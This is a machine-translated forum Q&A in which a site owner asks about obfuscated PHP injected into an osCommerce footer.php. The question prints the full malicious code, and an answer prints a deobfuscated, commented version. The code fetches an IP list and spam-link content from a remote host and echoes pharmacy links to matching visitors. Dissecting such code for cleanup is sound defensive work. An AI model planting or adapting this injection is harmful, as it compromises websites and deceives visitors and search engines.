2011-05-31 28 views
5

Birisi/bir şey tarafından sömürülen bir siteye bakıyorum. Sitede, farmasötik sahalara bağlanan ve başka ne olduğunu bilen altbilgisine bir grup bağlantı yapıldı. Altbilginin üstünde bir sürü bağlantı vardı. Bunları sadece Yahoo dizinindeki önbelleğe alınmış sayfalarda bulabilirim. Google hala sitemizde mutlu değil ve canlı site artık herhangi bir bağlantı göstermiyor. Bu bir müşteri için ... benim ne söylendiğimi ve başka ne bildiğimi bildiğimi biliyorum.Bu kod bir istismar mıdır? Bu kod nedir?

Ben footer.php çok 'ucu/üst' (öyle bir OsCommerse Sitesi) bu kodu bulundu:

<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m"; 
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ($x0f = 0; $x0f < $x13($x0e); $x0f++) {$x10 = $x1a($x0e[$x0f]);if ($x10 != ""){ if (($x11 = $x18($x10, "*")) !== false) $x10 = $x19($x10, 0,$x11); if ($x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?> 

Ben 'Bad' bağlantıları kaynak önbelleğe sayfalarını görüntülemek , Bu kod, footer.php kaynağında bulduğum yerde tam olarak uyuyor. Google'da küçük bir araştırma, orada benzer kodlar olduğunu gösteriyor.

sen benim kendi sunucuda çalıştırdığınızda alıyorum bütün sadece bu gibi kaynakta yankılandı yorumdur, ne düşünüyorsunuz:

<!-- 069c5b4fe5027f9b37de31d2be5eac67 --> 

Sadece aceleyle kodu kaldırmak için istemiyoruz 'iyin' deyin çünkü kötü görünüyor çünkü özellikle 'kötü linklerin' bittiğini anlamanın bir yolu yok. BTW, tüm linkler ölü bir URL'ye gider.

Hala Yahoo önbelleğe kötü sayfalarını görebilirsiniz: http://74.6.117.48/search/srpcache?ei=UTF-8&p=http%3A%2F%2Fwww.feedroller.com%2F+medicine&fr=yfp-t-701&u=http://cc.bingj.com/cache.aspx?q=http%3a%2f%2fwww.feedroller.com%2f+medicine&d=4746458759365253&mkt=en-US&setlang=en-US&w=b97b0175,d5f14ae5&icp=1&.intl=us&sig=Ifqk1OuvHXNcZnGgPR9PbA--

+0

tarafından attaced ediyorlarmış gibi

görünüyor. – Racooon

+0

Evet, istismar kodu. Kasıtlı olarak ne yaptığını görmek için "zor" yapmak için şaşırttı. Gizleme katmanlarından geçtikten sonra, "eval ($ do_something_nasty)" gibi bir şeye dönüşecektir. –

+4

'echo -n 'ilkel' | md5 # => 069c5b4fe5027f9b37de31d2be5eac67' :) – zoul

cevap

2

Karartılmamış senaryo (aşağı yukarı)

sadece senin sayfaya this url içeriğini damping oluyor

o da denetler Algılanamaya devam etmek için list of IPs (google, et al) 'a karşı remote_addr. Eğer bu sadece şifrelenmiş bir veri olduğunu genshop.com

<?php 

$count="cou\156\x74"; // count 
$error_reporting="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; // error_reporting 
$file="\146\151l\x65"; // file 
$file_get_contents="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; // file_get_contents 
$strlen="\163\x74rle\156"; // strlen 
$strpos="\163tr\160o\x73"; // strpos 
$substr="su\x62\x73\164\162"; // substr 
$trim="tr\151m"; //trim 

ini_set(' display_errors','off'); 
$error_reporting(0); 

$x0b = "http://genshop.org/scripts/mask.txt"; 
$url = $x0b; 
$tmp = "REMOTE_ADDR"; 
$x0d = $_SERVER[$tmp]; 
$tmp_filename = "http://genshop.org/paralinks/new/3/feedroller.com.txt"; 

$IPs = @ $file($url); 
for ($i = 0; $i < $count($IPs); $i++) { 
    $curr_ip = $trim($ips[$i]); 
     if ($curr_ip != "") { 
      if (($x11 = $strpos($curr_ip, "*")) !== false) 
       $curr_ip = $substr($curr_ip, 0,$x11); 

      // check visitor ip against mask list 
      if ($strlen($curr_ip) <= $strlen($x0d) && $strpos($x0d, $curr_ip) === 0) { 
       $x12 = $file_get_content($tmp_filename); 
       echo "$x12"; 
       // print spam contents 
      } 
     } 
    } 
echo $curr_ip; 
} 

$tmp2 = "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076"; 
echo $tmp2; 
?> 
+0

Bunu kaynağa nasıl ulaştıracaklar? Sadece kötü dosya izinleri mi yoksa kötü bir barındırma mı yoksa her ikisi mi? – rhaag71

+0

Tahminimce, diskinize yazılan bir yerde komut dosyası var ve bu da kullanılabilir. belki de dosya sistemini değiştiren komut dosyası veya bazılarını yükler misiniz? Herhangi bir yerde exec() veya system() çalıştırıyor musunuz? daha iyi izinlerle düzeltilebilir, ancak deliği bulup kapatırsanız en iyisi olurdum. –

+0

exploit code her zaman garip ... mask ip listesindeki yıldız işaretini düzeltmek için ekstra kodları olduğunu fark ettiler ... neden sadece mask.txt dosyasını değiştirmiyorsunuz? lol. –

2

Çok fazla koşu yapılandırması hakkında bilgi dökümü yönelik bir girişimdir. Hemen çıkarın.

Çalışma şekli çok karmaşık ve benim için değil, sitenizi keserken ilk adımlardan biri.

+0

Cevabınız için teşekkürler, bu benim de ötesinde. Onu çıkaracağım ve biraz sonra buraya döneceğim. Sanırım tüm kaynağa bakacağım ve daha fazlasını bulmaya çalışacağım. Teşekkürler – rhaag71

+0

@ rhaag71 muhtemelen muhtemelen ftp ve sahip olduğunuz herhangi bir sunucu giriş şifresini değiştirmelisiniz veya aynı adam sadece geri gelebilir. – Jordan